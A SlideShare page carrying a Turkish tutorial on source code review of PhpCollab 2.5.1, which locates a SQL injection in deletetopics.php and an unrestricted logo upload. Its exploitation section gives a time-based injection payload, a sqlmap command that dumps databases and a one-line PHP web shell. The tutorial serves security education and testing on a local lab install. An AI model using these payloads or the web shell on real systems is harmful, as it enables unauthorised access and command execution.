SlideShare a Scribd company logo
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
İÇİNDEKİLER
İçindekiler
Yazar Hakkında...........................................................................................................................2
Web Uygulama Güvenliği Kod Analizi......................................................................................3
Çalışma Ortamı Ve Zafiyetli Web Uygulaması...........................................................................4
Uygulamaya Giriş.......................................................................................................................5
Muhtemel Girdi Noktalarının Arayüzde Saptanması..................................................................6
Muhtemel Girdi Noktalarının Kodlar Arasında Saptanması.......................................................7
Ilk Zafiyet SQLInjection.............................................................................................................9
Ikinci Zafiyet Unresticted File Upload......................................................................................11
Zafiyet Sömürüm Örnekleri......................................................................................................12
1
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
YAZAR HAKKINDA
Engin Demirbilek. Özel sektörde Sızma Testi alanında çalışmaktadır. Ilgi alanları web uygulama
güvenliği, internal sızma testleri ve basit seviye zararlı oluşturma.
E-Mail: engindemirbilek@protonmail.com
Twitter: @hyal0id
Blog: https://engindemirbilek.github.io
2
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
WEB UYGULAMA GÜVENLİĞİ KAYNAK KOD ANALİZİ:
Web uygulamalarında oluşan zafiyetler genel olarak 3 sebepten kaynaklanmaktadır:
• Kullanıcıdan alınan girdinin kontrol edilmemesi / eksik kontrolü
• Oturum Yönetimleri
• Ve nadiren gömülü parolalar.
Web uygulamaları, gerekli kontroller yapılmaksızın herkese açık halde paylaşılması durumunda
yukarda ki temel durumlardan doğabilecek çeşitli kritik zafiyetlerden muzdarip olabilir. Bu
kontroller kimi zaman herhangi bir kod gösterimi olmaksızın local bir ağda veyahut doğrudan
internet siteleri üzerinde yapılan işlemlerle kontrol edilsede kimi zaman ilgili kontrollerle açığa
çıkartılamayan zafiyetlerin, kaynak kod inceleme işlemleri esnasında çıktığını görmekteyiz.
Bu makalede, sayfa sayısını fazla uzatmamaya özen göstererek örnek bir web uygulama kaynak kod
analizi gerçekleştirerek uygulama üzerinde daha önce saptanmış olan 1 adet SQL injection ve 1 adet
unrestricted file upload zafiyetlerini tespit edeceğiz.
3
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
ÇALIŞMA ORTAMI VE ZAFİYETLİ WEB UYGULAMASI:
Bu makale süresi boyunca, PHP teknolojisi kullanılarak oluşturulmuş PhpCollab (version: 2.5.1)
uygulamasının kaynak kod inceleme işlemini gerçekleştireceğiz.
Statik inceleme işlemlerinde hız faktörünü ve web servislerinin kullanım kolaylığınıda
değerlendirerek inceleme yapacağım işletim sistemi ise Ubuntu 16.04 olacak.
Uygulamaya şuradan erişebilirsiniz:
https://www.exploit-db.com/apps/dda41c5b541d7adc0b50b1fcf3bf7519-phpCollab-v2.5.1.zip
4
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
UYGULAMAYA GİRİŞ
PHP Collab uygulamasını kurmamızın ardından bizi giriş sayfası karşılıyor:
5
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
MUHTEMEL GİRDİ NOKTALARININ ARAYÜZDE SAPTANMASI
Kodlarla boğuşmaya başlamadan önce, görsel arayüz üzerinden muhtemel olarak kullanıcıdan girdi
alan yerleri tespit etmemiz ilerleyen incelemelerde bize kolaylık sağlayacaktır. Uygulama üzerinde
biraz gezinmenin ardından, uygulama panel arayüzünde hemen hemen her dizinde bir dosya ekleme
& editleme özelliği ve bazı noktalarda ise içerik arama noktaları karşımıza çıkıyor:
home.php:
listclients.php:
Uygulama arayüzünü inceleyerek diğer girdi noktalarını saptayabilirsiniz.
6
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
MUHTEMEL GİRDİ NOKTALARININ KODLAR ARASINDA SAPTANMASI
Görsel arayüzden saptamalar yapabileceğimiz gibi, kodlar arasındada gezinerekte saptamalar
yapmamız mümkün. Uygulama büyüklüğüne göre bu iş uzun zaman alabileceğinden ötürü
işlemlerimizi hızlandırmak için Gnu/Linux sistemlerin bize sağladığı bash scripting tekniklerinin
nimetlerinden faydalanacağız.
Uygulama Üzerinde ki SQL Sorgularının Saptanması:
Uygulama üzerinde ki sql sorgularının saptanması, uygulama üzerinde potansiyel olarak
bulunabilecek SQLinjection zafiyetlerinin tespitinde ilk adımı oluşturmaktadır. Ufak bir bash
scripting yardımıyla uygulama üzerinde ki tüm SQL sorgularını ve bulundukları dosyaları
saptamamız mümkün:
Kullanılan Komut:
find . -type f | grep ".php" | xargs grep "FROM|INTO|UPDATE"
//Bulunduğun dizinde ki sonu “.php” ile biten tüm dosyaları bul ve bu dosyalar
arasından içinde “FROM, INTO VE UPDATE” kelimeleri geçiren dosyaları ve ilgili
satırları bana getir.
Eğer daha önce SQL ile uğraştıysanız neden SELECT, INSERT vesaire farklı anahtar kelimeleri
kullanmadığım konusu kafanıza takılmış olabilir. Bunun sebebi, olabilecek neredeyse her sorguda
SELECT gibi genel anahtar kelimeler geçmesede FROM, INTO VE UPDATE anahtar kelimelerinin
geçmek zorunda olacak olmasıdır.
7
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
Saptadığımız SQL sorgularında bizim asıl ilgimizi çeken kısım kullanıcının kontrolünde olan bir
değişkenin herhangi bir sorgu içinde olup olmadığı olacaktır. Tabi ki bu bulumun yapılması için işin
biraz daha kolayına kaçılarak _GET, _POST, _REQUEST gibi anahtar kelimelerin aranması
işimizi hızlandıracak olsada bu girdilerle herhangi bir değişkene atılan verilerin oluşturduğu
zafiyetlerin saptanmasında, ilgili yöntem yeterli olmayacaktır.
Örnek: $email = $_REQUEST[“email”];
Bu sebeple sağlıklı bir inceleme sağlamak adına ilgili sorgular ve sorgu içinde ki değişkenler bir
bütün olarak incelenmelidir.
İşimizin biraz daha kolaylaşması adına, içinde SQL sorgusu bulunan tüm dosyaları bir liste halinde
sıralayabiliriz.
find . -type f | grep ".php" | xargs grep "FROM|INTO|UPDATE" | cut -d ":" -f1 |
sort | uniq > sql_kontrol.txt
//Bulunduğun dizinde ki sonu “.php” ile biten tüm dosyaları bul ve bu dosyalar
arasından içinde “FROM, INTO VE UPDATE” kelimeleri geçiren dosyaları ve ilgili
satırları bana getir dönen sonuçta yanlızca “:” karakterinden önce ki değerleri ayıkla,
sırala, 1 dosya ismini 1 kere göster ve bunları sql_kontrol.txt dosyasının içine yaz.
Bu adımın ardından sıra her dosya içinde ki sorgu ve sorgularda ki değişkenleri incelemeye geliyor.
Doğrudan saptanan örnek bir zafiyete geçelim.
8
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
ILK ZAFIYET SQL INJECTION
Dosya: topics/deletetopics.php
Uygulama üzerinde ki örnek bir sql injection zafiyeti yukarıdaki gibidir. Kullanıcıdan GET isteği ile
(deletetopics.php?project=) alınan bir girdi herhangi bir kontrolden geçirilmeden SQL sorgusuna
atılmış (satır: 32). Bu durumda eğer kullanıcı ‘ karakterlerinden kaçınıp sorgu yapısını editleyerek
database üzerine doğrudan erişim sağlayabilir.
Bu işlem için örnek bir payload olarak: deletetopics.php?project=hyaloid’-SLEEP(5)-- -
verilebilir. Bu girdinin site üzerinden verilmesi durumunda MYSQL üzerinde SLEEP fonksiyonu
çalışacak ve 5 saniye boyunca herhangi bir sonuç dönmeyecektir. Veyahut herhangi bir tool
yardımıyla (orn: sqlmap) kolayca tüm database ele geçirilebilir.
Bu zafiyet tespitinin ardından sormamız gereken 1 soru daha var. Bu isteği atabilecek kişinin giriş
yapması veyahut bir yetki dahilinde olması gerekli mi değil mi ? Bu kontrol içinse basitçe
uygulama üzerinde ki dosyaların ilk satırlarını kontrol edebiliriz. Oturum doğrulamayı sağlayan
herhangi bir dosya veya değişkenin belirtilmesi durumunda (oturum kontrollerinin doğru yapıldığını
varsayıyoruz) ilgili zafiyeti site üzerinde oturum oluşturmayan bir kullanıcının tetiklemesi olanaksız
olacaktır. Ufak bir göz gezdirmenin ardından site üzerinde oturum kontrollerinin $checkSession
isimli bir değişken dahilinde kontrol edildiğini görmek mümkün. Zafiyetli kodu içeren dosyanın ilk
satırlarına baktığımızda ise bu dosyaya erişim içinde bir oturum kontrolü olduğunu görüyoruz:
Yani bu durumda ilgili zafiyeti tetiklemek için site üzerinde oturum oluşturabilen bir kullanıcıya
ihtiyacımız var. Her ne kadar bu kontrol zafiyetin muhtemelen saldırı potansiyelini azaltıyor olsada
hala bu zafiyeti kritik bir zafiyet olmaktan aşağı bırakmıyor. Elbette daha uzun uzadıya
incelemelerde ilgili oturum kontrollerinin yapılmadığı noktalarda zafiyetler çıkartılabilir ve/veya
doğrudan oturum kontrolünün yapıldığı kodlarda hatalar bulunabilecek olsada biz sayfa sayısını
uzun uzadıya tutmadan diğer zafiyetimizi araştırmaya koyulalım.
9
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
Uygulama Üzerinde ki Dosya Yükleme Noktalarının Saptanması:
Dosya yükleme fonksiyonları uygulamanın yazıldığı dile göre farklılık göstersede temelde birbiriyle
tamamen aynı zafiyetlerden muzdarip olurlar: Yüklenen dosyanın eksik kontrolü. PHP kodlama
dilinde dosya yükleme işlemlerinde kullanılan temel fonksiyon move_uploaded_file() ve temel
değişken ise $_FILES değişkenidir. Bu bilgilerden yola çıkarak yine ufak bir script yardımıyla
uygulama üzerinde dosya yükleme fonksiyonlarının bulunduğu yerleri saptayabiliriz.
Kullanılan Komut:
find . -type f | grep ".php" | xargs grep "move_uploaded_file|_FILES" | cut -d ":" -
f1 | sort | uniq
//Bulunduğun dizinde ki sonu “.php” ile biten tüm dosyaları bul ve bu dosyalar
arasından içinde “move_uploaded_file ve _FILES” kelimeleri geçiren dosyaları ve
ilgili satırları bana getir dönen sonuçta yanlızca “:” karakterinden önce ki değerleri
ayıkla ve 1 dosya ismini 1 kere göster.
SQL sorgularıyla kıyasladığımızda bu sefer dosya sayımız oldukça düşük.
10
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
IKINCI ZAFIYET UNRESTRICTED FILE UPLOAD
Dosyaları incelemeye koyulduğumuzda daha ilk tespit edilen nokta üzerinde yüklenen dosyaların
herhangi bir kısıtlamaya tabi tutulmadığı görüyoruz (satır 61, 62).
Bu durumda kullanıcı logo yerine herhangi bir php dosyası yükleyerek sistem üzerine doğrudan
erişim sağlayabilir. Buna ek olarak gözümüze çarpan diğer bir zafiyet ise dosya uzantısının herhangi
bir kontrolden geçirilmeden bir SQL sorgusuna koyulduğu. Biraz fantastik olsada eğer ki yüklenen
dosyanın uzantısına bir SQLinjection payloadı verecek olursak file upload zafiyetine ek olarak
buradan bir SQL injection zafiyetide tetikletmemiz mümnkün. Tespit edilen diğer dosyalar
incelenerek zafiyet sayısı artırılabilir fakat şuanlık bu bizim için yeterli.
Örn Zararlı PHP dosyası: <?php echo shell_exec($_GET[“cmd”]); ?>
Örn Sql Injection Payloadı: logo.a’-SLEEP(5)-- -
SQLinjection zafiyetinde olduğu gibi bu zafiyetinde tetiklenmesi için geçerli bir oturum eldesi
olması gerekiyor.
11
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
ZAFIYET SÖMÜRÜM ÖRNEKLERİ
SQL INJECTION:
Yazımızı bitirmeden önce tespit ettiğimiz zafiyetlerin örnek bir sömürünü göstermekte fayda var. Ilk
olarak tespit ettiğimiz SQL Injection zafiyetini SQLmap toolu aracılığı ile sömürelim:
Kullanılan Komut:
sudo sqlmap -u "127.0.0.1/collab/topics/deletetopics.php?project=asd" --
cookie="PHPSESSID=glrqu1hs2nbnpluph7fbkk97r0" --dbms=mysql --threads 10 --
dbs
12
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
UNRESTRICTED FILE UPLOAD:
Bu zafiyetin sömürümü ise herhangi bir tool kullanmaksızın yapabiliriz.
Ilk olarak site üzerinde bize interaktif bir bağlantı sağlayacak basit bir zararlı oluşturalım:
zararli.php
<?php
echo shell_exec($_GET[“cmd”]);
?>
Ilgili dosyayı daha önce tespit ettiğimiz noktadan yüklediğimizde;
Yüklediğimiz zararlı /logos_clients/ dizinine 1.php olarak yüklenecek.
13
Web Uygulama Güvenliği Örnek Kaynak Kod Analizi
Dizine tarayıcı üzerinden ulaşıp zararlımızı tetiklettiğimizde ise:
14

More Related Content

PDF
Web Uygulamalarında Kaynak Kod Analizi - 1
PDF
Web Uygulamalarında Kayank Kod Analizi – II
PDF
Oylg2013 web uygulamalari sizmatesti
PPTX
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
PPTX
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
PDF
Drupal Coder Zafiyet Analizi & İstismar Kodu Geliştirimesi
PPTX
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
PPTX
BTRisk iOS Mobil Uygulama Denetimi Eğitimi
Web Uygulamalarında Kaynak Kod Analizi - 1
Web Uygulamalarında Kayank Kod Analizi – II
Oylg2013 web uygulamalari sizmatesti
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Drupal Coder Zafiyet Analizi & İstismar Kodu Geliştirimesi
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
BTRisk iOS Mobil Uygulama Denetimi Eğitimi

Similar to 45965 php-source-code-analysis (20)

PDF
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
PDF
İleri Seviye T-SQL Programlama - Chapter 21
PPT
Bilgi sis..
PDF
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
PPT
Dogus University-Web Application Security
PPTX
Visual Studio Developer Tools
PDF
Windows 7 Ortamında Zararlı Yazılım Analizi
PPTX
Web Application Testing
PPT
Kurumsal Yazılım Geliştirme ve Visual Studio 2008
PDF
Spring Framework
PDF
Temel Düzeyde MySQL ve PHP Eğitimleri 1
PDF
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
PDF
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
PDF
Sql Injection
PPTX
Mobil Uygulama Güvenliği (Mobile Security)
PDF
Silk Test Framework Kurulumu ve Yazılım Test Otomasyon Mimarisine Giriş
PDF
ASP.NET MVC 2 Mimarisi, ASP.NET Uygulama Yönetimi ve Güvenlik Desteği
PDF
Log yonetimi tecrubeleri
PPTX
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
İleri Seviye T-SQL Programlama - Chapter 21
Bilgi sis..
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
Dogus University-Web Application Security
Visual Studio Developer Tools
Windows 7 Ortamında Zararlı Yazılım Analizi
Web Application Testing
Kurumsal Yazılım Geliştirme ve Visual Studio 2008
Spring Framework
Temel Düzeyde MySQL ve PHP Eğitimleri 1
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
Sql Injection
Mobil Uygulama Güvenliği (Mobile Security)
Silk Test Framework Kurulumu ve Yazılım Test Otomasyon Mimarisine Giriş
ASP.NET MVC 2 Mimarisi, ASP.NET Uygulama Yönetimi ve Güvenlik Desteği
Log yonetimi tecrubeleri
BTRisk Zararlı Yazılım Analizi Eğitimi Sunumu - Bölüm 1
Ad

More from Attaporn Ninsuwan (20)

PDF
J query fundamentals
PDF
Jquery enlightenment
PDF
Jquery-Begining
PDF
Br ainfocom94
PDF
Chapter 12 - Computer Forensics
PDF
Techniques for data hiding p
PDF
Stop badware infected_sites_report_062408
PDF
Steganography past-present-future 552
PDF
Ch03-Computer Security
PDF
Ch02-Computer Security
PDF
Ch01-Computer Security
PDF
Ch8-Computer Security
PDF
Ch7-Computer Security
PDF
Ch6-Computer Security
PDF
Ch06b-Computer Security
PDF
Ch5-Computer Security
PDF
Ch04-Computer Security
PDF
Chapter5 - The Discrete-Time Fourier Transform
PDF
Chapter4 - The Continuous-Time Fourier Transform
PDF
Chapter3 - Fourier Series Representation of Periodic Signals
J query fundamentals
Jquery enlightenment
Jquery-Begining
Br ainfocom94
Chapter 12 - Computer Forensics
Techniques for data hiding p
Stop badware infected_sites_report_062408
Steganography past-present-future 552
Ch03-Computer Security
Ch02-Computer Security
Ch01-Computer Security
Ch8-Computer Security
Ch7-Computer Security
Ch6-Computer Security
Ch06b-Computer Security
Ch5-Computer Security
Ch04-Computer Security
Chapter5 - The Discrete-Time Fourier Transform
Chapter4 - The Continuous-Time Fourier Transform
Chapter3 - Fourier Series Representation of Periodic Signals
Ad

45965 php-source-code-analysis

  • 1. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi İÇİNDEKİLER İçindekiler Yazar Hakkında...........................................................................................................................2 Web Uygulama Güvenliği Kod Analizi......................................................................................3 Çalışma Ortamı Ve Zafiyetli Web Uygulaması...........................................................................4 Uygulamaya Giriş.......................................................................................................................5 Muhtemel Girdi Noktalarının Arayüzde Saptanması..................................................................6 Muhtemel Girdi Noktalarının Kodlar Arasında Saptanması.......................................................7 Ilk Zafiyet SQLInjection.............................................................................................................9 Ikinci Zafiyet Unresticted File Upload......................................................................................11 Zafiyet Sömürüm Örnekleri......................................................................................................12 1
  • 2. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi YAZAR HAKKINDA Engin Demirbilek. Özel sektörde Sızma Testi alanında çalışmaktadır. Ilgi alanları web uygulama güvenliği, internal sızma testleri ve basit seviye zararlı oluşturma. E-Mail: engindemirbilek@protonmail.com Twitter: @hyal0id Blog: https://engindemirbilek.github.io 2
  • 3. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi WEB UYGULAMA GÜVENLİĞİ KAYNAK KOD ANALİZİ: Web uygulamalarında oluşan zafiyetler genel olarak 3 sebepten kaynaklanmaktadır: • Kullanıcıdan alınan girdinin kontrol edilmemesi / eksik kontrolü • Oturum Yönetimleri • Ve nadiren gömülü parolalar. Web uygulamaları, gerekli kontroller yapılmaksızın herkese açık halde paylaşılması durumunda yukarda ki temel durumlardan doğabilecek çeşitli kritik zafiyetlerden muzdarip olabilir. Bu kontroller kimi zaman herhangi bir kod gösterimi olmaksızın local bir ağda veyahut doğrudan internet siteleri üzerinde yapılan işlemlerle kontrol edilsede kimi zaman ilgili kontrollerle açığa çıkartılamayan zafiyetlerin, kaynak kod inceleme işlemleri esnasında çıktığını görmekteyiz. Bu makalede, sayfa sayısını fazla uzatmamaya özen göstererek örnek bir web uygulama kaynak kod analizi gerçekleştirerek uygulama üzerinde daha önce saptanmış olan 1 adet SQL injection ve 1 adet unrestricted file upload zafiyetlerini tespit edeceğiz. 3
  • 4. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi ÇALIŞMA ORTAMI VE ZAFİYETLİ WEB UYGULAMASI: Bu makale süresi boyunca, PHP teknolojisi kullanılarak oluşturulmuş PhpCollab (version: 2.5.1) uygulamasının kaynak kod inceleme işlemini gerçekleştireceğiz. Statik inceleme işlemlerinde hız faktörünü ve web servislerinin kullanım kolaylığınıda değerlendirerek inceleme yapacağım işletim sistemi ise Ubuntu 16.04 olacak. Uygulamaya şuradan erişebilirsiniz: https://www.exploit-db.com/apps/dda41c5b541d7adc0b50b1fcf3bf7519-phpCollab-v2.5.1.zip 4
  • 5. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi UYGULAMAYA GİRİŞ PHP Collab uygulamasını kurmamızın ardından bizi giriş sayfası karşılıyor: 5
  • 6. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi MUHTEMEL GİRDİ NOKTALARININ ARAYÜZDE SAPTANMASI Kodlarla boğuşmaya başlamadan önce, görsel arayüz üzerinden muhtemel olarak kullanıcıdan girdi alan yerleri tespit etmemiz ilerleyen incelemelerde bize kolaylık sağlayacaktır. Uygulama üzerinde biraz gezinmenin ardından, uygulama panel arayüzünde hemen hemen her dizinde bir dosya ekleme & editleme özelliği ve bazı noktalarda ise içerik arama noktaları karşımıza çıkıyor: home.php: listclients.php: Uygulama arayüzünü inceleyerek diğer girdi noktalarını saptayabilirsiniz. 6
  • 7. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi MUHTEMEL GİRDİ NOKTALARININ KODLAR ARASINDA SAPTANMASI Görsel arayüzden saptamalar yapabileceğimiz gibi, kodlar arasındada gezinerekte saptamalar yapmamız mümkün. Uygulama büyüklüğüne göre bu iş uzun zaman alabileceğinden ötürü işlemlerimizi hızlandırmak için Gnu/Linux sistemlerin bize sağladığı bash scripting tekniklerinin nimetlerinden faydalanacağız. Uygulama Üzerinde ki SQL Sorgularının Saptanması: Uygulama üzerinde ki sql sorgularının saptanması, uygulama üzerinde potansiyel olarak bulunabilecek SQLinjection zafiyetlerinin tespitinde ilk adımı oluşturmaktadır. Ufak bir bash scripting yardımıyla uygulama üzerinde ki tüm SQL sorgularını ve bulundukları dosyaları saptamamız mümkün: Kullanılan Komut: find . -type f | grep ".php" | xargs grep "FROM|INTO|UPDATE" //Bulunduğun dizinde ki sonu “.php” ile biten tüm dosyaları bul ve bu dosyalar arasından içinde “FROM, INTO VE UPDATE” kelimeleri geçiren dosyaları ve ilgili satırları bana getir. Eğer daha önce SQL ile uğraştıysanız neden SELECT, INSERT vesaire farklı anahtar kelimeleri kullanmadığım konusu kafanıza takılmış olabilir. Bunun sebebi, olabilecek neredeyse her sorguda SELECT gibi genel anahtar kelimeler geçmesede FROM, INTO VE UPDATE anahtar kelimelerinin geçmek zorunda olacak olmasıdır. 7
  • 8. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi Saptadığımız SQL sorgularında bizim asıl ilgimizi çeken kısım kullanıcının kontrolünde olan bir değişkenin herhangi bir sorgu içinde olup olmadığı olacaktır. Tabi ki bu bulumun yapılması için işin biraz daha kolayına kaçılarak _GET, _POST, _REQUEST gibi anahtar kelimelerin aranması işimizi hızlandıracak olsada bu girdilerle herhangi bir değişkene atılan verilerin oluşturduğu zafiyetlerin saptanmasında, ilgili yöntem yeterli olmayacaktır. Örnek: $email = $_REQUEST[“email”]; Bu sebeple sağlıklı bir inceleme sağlamak adına ilgili sorgular ve sorgu içinde ki değişkenler bir bütün olarak incelenmelidir. İşimizin biraz daha kolaylaşması adına, içinde SQL sorgusu bulunan tüm dosyaları bir liste halinde sıralayabiliriz. find . -type f | grep ".php" | xargs grep "FROM|INTO|UPDATE" | cut -d ":" -f1 | sort | uniq > sql_kontrol.txt //Bulunduğun dizinde ki sonu “.php” ile biten tüm dosyaları bul ve bu dosyalar arasından içinde “FROM, INTO VE UPDATE” kelimeleri geçiren dosyaları ve ilgili satırları bana getir dönen sonuçta yanlızca “:” karakterinden önce ki değerleri ayıkla, sırala, 1 dosya ismini 1 kere göster ve bunları sql_kontrol.txt dosyasının içine yaz. Bu adımın ardından sıra her dosya içinde ki sorgu ve sorgularda ki değişkenleri incelemeye geliyor. Doğrudan saptanan örnek bir zafiyete geçelim. 8
  • 9. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi ILK ZAFIYET SQL INJECTION Dosya: topics/deletetopics.php Uygulama üzerinde ki örnek bir sql injection zafiyeti yukarıdaki gibidir. Kullanıcıdan GET isteği ile (deletetopics.php?project=) alınan bir girdi herhangi bir kontrolden geçirilmeden SQL sorgusuna atılmış (satır: 32). Bu durumda eğer kullanıcı ‘ karakterlerinden kaçınıp sorgu yapısını editleyerek database üzerine doğrudan erişim sağlayabilir. Bu işlem için örnek bir payload olarak: deletetopics.php?project=hyaloid’-SLEEP(5)-- - verilebilir. Bu girdinin site üzerinden verilmesi durumunda MYSQL üzerinde SLEEP fonksiyonu çalışacak ve 5 saniye boyunca herhangi bir sonuç dönmeyecektir. Veyahut herhangi bir tool yardımıyla (orn: sqlmap) kolayca tüm database ele geçirilebilir. Bu zafiyet tespitinin ardından sormamız gereken 1 soru daha var. Bu isteği atabilecek kişinin giriş yapması veyahut bir yetki dahilinde olması gerekli mi değil mi ? Bu kontrol içinse basitçe uygulama üzerinde ki dosyaların ilk satırlarını kontrol edebiliriz. Oturum doğrulamayı sağlayan herhangi bir dosya veya değişkenin belirtilmesi durumunda (oturum kontrollerinin doğru yapıldığını varsayıyoruz) ilgili zafiyeti site üzerinde oturum oluşturmayan bir kullanıcının tetiklemesi olanaksız olacaktır. Ufak bir göz gezdirmenin ardından site üzerinde oturum kontrollerinin $checkSession isimli bir değişken dahilinde kontrol edildiğini görmek mümkün. Zafiyetli kodu içeren dosyanın ilk satırlarına baktığımızda ise bu dosyaya erişim içinde bir oturum kontrolü olduğunu görüyoruz: Yani bu durumda ilgili zafiyeti tetiklemek için site üzerinde oturum oluşturabilen bir kullanıcıya ihtiyacımız var. Her ne kadar bu kontrol zafiyetin muhtemelen saldırı potansiyelini azaltıyor olsada hala bu zafiyeti kritik bir zafiyet olmaktan aşağı bırakmıyor. Elbette daha uzun uzadıya incelemelerde ilgili oturum kontrollerinin yapılmadığı noktalarda zafiyetler çıkartılabilir ve/veya doğrudan oturum kontrolünün yapıldığı kodlarda hatalar bulunabilecek olsada biz sayfa sayısını uzun uzadıya tutmadan diğer zafiyetimizi araştırmaya koyulalım. 9
  • 10. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi Uygulama Üzerinde ki Dosya Yükleme Noktalarının Saptanması: Dosya yükleme fonksiyonları uygulamanın yazıldığı dile göre farklılık göstersede temelde birbiriyle tamamen aynı zafiyetlerden muzdarip olurlar: Yüklenen dosyanın eksik kontrolü. PHP kodlama dilinde dosya yükleme işlemlerinde kullanılan temel fonksiyon move_uploaded_file() ve temel değişken ise $_FILES değişkenidir. Bu bilgilerden yola çıkarak yine ufak bir script yardımıyla uygulama üzerinde dosya yükleme fonksiyonlarının bulunduğu yerleri saptayabiliriz. Kullanılan Komut: find . -type f | grep ".php" | xargs grep "move_uploaded_file|_FILES" | cut -d ":" - f1 | sort | uniq //Bulunduğun dizinde ki sonu “.php” ile biten tüm dosyaları bul ve bu dosyalar arasından içinde “move_uploaded_file ve _FILES” kelimeleri geçiren dosyaları ve ilgili satırları bana getir dönen sonuçta yanlızca “:” karakterinden önce ki değerleri ayıkla ve 1 dosya ismini 1 kere göster. SQL sorgularıyla kıyasladığımızda bu sefer dosya sayımız oldukça düşük. 10
  • 11. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi IKINCI ZAFIYET UNRESTRICTED FILE UPLOAD Dosyaları incelemeye koyulduğumuzda daha ilk tespit edilen nokta üzerinde yüklenen dosyaların herhangi bir kısıtlamaya tabi tutulmadığı görüyoruz (satır 61, 62). Bu durumda kullanıcı logo yerine herhangi bir php dosyası yükleyerek sistem üzerine doğrudan erişim sağlayabilir. Buna ek olarak gözümüze çarpan diğer bir zafiyet ise dosya uzantısının herhangi bir kontrolden geçirilmeden bir SQL sorgusuna koyulduğu. Biraz fantastik olsada eğer ki yüklenen dosyanın uzantısına bir SQLinjection payloadı verecek olursak file upload zafiyetine ek olarak buradan bir SQL injection zafiyetide tetikletmemiz mümnkün. Tespit edilen diğer dosyalar incelenerek zafiyet sayısı artırılabilir fakat şuanlık bu bizim için yeterli. Örn Zararlı PHP dosyası: <?php echo shell_exec($_GET[“cmd”]); ?> Örn Sql Injection Payloadı: logo.a’-SLEEP(5)-- - SQLinjection zafiyetinde olduğu gibi bu zafiyetinde tetiklenmesi için geçerli bir oturum eldesi olması gerekiyor. 11
  • 12. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi ZAFIYET SÖMÜRÜM ÖRNEKLERİ SQL INJECTION: Yazımızı bitirmeden önce tespit ettiğimiz zafiyetlerin örnek bir sömürünü göstermekte fayda var. Ilk olarak tespit ettiğimiz SQL Injection zafiyetini SQLmap toolu aracılığı ile sömürelim: Kullanılan Komut: sudo sqlmap -u "127.0.0.1/collab/topics/deletetopics.php?project=asd" -- cookie="PHPSESSID=glrqu1hs2nbnpluph7fbkk97r0" --dbms=mysql --threads 10 -- dbs 12
  • 13. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi UNRESTRICTED FILE UPLOAD: Bu zafiyetin sömürümü ise herhangi bir tool kullanmaksızın yapabiliriz. Ilk olarak site üzerinde bize interaktif bir bağlantı sağlayacak basit bir zararlı oluşturalım: zararli.php <?php echo shell_exec($_GET[“cmd”]); ?> Ilgili dosyayı daha önce tespit ettiğimiz noktadan yüklediğimizde; Yüklediğimiz zararlı /logos_clients/ dizinine 1.php olarak yüklenecek. 13
  • 14. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi Dizine tarayıcı üzerinden ulaşıp zararlımızı tetiklettiğimizde ise: 14